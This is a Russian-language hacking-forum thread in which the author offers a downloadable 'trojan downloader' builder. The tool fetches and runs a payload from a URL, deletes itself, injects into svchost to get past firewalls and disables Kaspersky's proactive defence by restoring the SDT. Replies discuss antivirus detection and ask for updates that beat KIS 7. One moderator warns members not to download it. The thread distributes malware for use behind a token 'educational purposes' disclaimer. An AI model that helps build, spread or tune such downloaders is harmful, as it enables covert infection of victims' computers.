Builder trojan downloader

[os1r1s]

Builder trojan downloader v1.2

http://img.secnull.info/images/239623tdw.JPG


Даунлоадер - загружает на зараженный компьютер файл (например ваш трой) с url-a указанного в билдере.

Принцип работы:
После запуска сливает файл с url-a и сохраняет на зараженый компьютер
в директорию заданную билдером (например в папку винды), и запускает ваш файл.
После запуска вашего файла удаляет свое тело.


Там есть обход фаеров путем инжекта в доверенный процесс svchost, и вырубка проактивки касперского, путем восстановления оригинальной sdt.

Это публичная версия, толком не тестировал, используйте на свой страх и риск.
Пишите свои пожелания и предложения
Качать тут (http://rapidshare.com/files/41019158/builder_tdw.rar)

Обсуждение на secnull (http://secnull.info/index.php?showtopic=754)

ПРИВЕДЕННАЯ ПРОГРАММА МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНА ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ!
Так что если вы собираетесь нарушать закон, то автор программы не несет за это никакой
ответственности!

[access_denied]

Что то как то стремно ее от тебя с такой репутацией качать

[a1ex]

Что то как то стремно ее от тебя с такой репутацией качать
Проверь на вирусняГи.

[Alexsize]

Вообще темы вредоносного ПО администрацией на поощряються. Одно дело, когда его пишут "наши", как пример программирования, вместе с исходниками, другое дело, когда выкладываеться вредоносный софт фиг знает кем и с каким содержанием.
НЕ КАЧАЙТЕ ЭТУ ЧУШЬ.

[_kREveDKo_]

Насклько я понимаю логику событий, то даунлоадер должен вывести в накаут антивирусы а фаерволлы, чтобы действительно вредоносная программа могла спокойна загрузиться на комп и не быть замеченой для антивирусов и прочей лажи. Про это в топике ни слова не сказано - это раз.


[upd]
Топикстартер и есть автор. Линк на описание №2 :
http://secnull.info/index.php?showtopic=754

[vasya_rogov]

ну че чисто ?
если так то аффтор давай зачетку

только ты говоришь про инжект в процесс..
он как рандомно сам выбирает куда внедряцца или что
просто на скрине не видно

и как обходица проактивка .. автоклик небось ?

[access_denied]

попробовал запустить со включеным фаерволом собственнного написания(ВыдерниШнурИзСе� �евой v 1.0) на VMWare

вроде компилит, но пока отчетов не приходило

[vasya_rogov]

проактивка 7 касперчега говорит об доступе к памяти :(

NOD32 IMON файл http://*****.ru/123.exe вероятно модифицированный Win32/Statik троян

а сам нод его не палит тока его интернет монитор

[Zedo83]

когда ждать обновление ?

[vasya_rogov]

+1
ждем обновления
FUCK Outpost, FUCK KIS 7 :)

[anticuvak]

Builder trojan downloader v1.2 класная вещь мне понравилось !!!

[Zedo83]

ага.. еще бы он 7 каспера нагибал..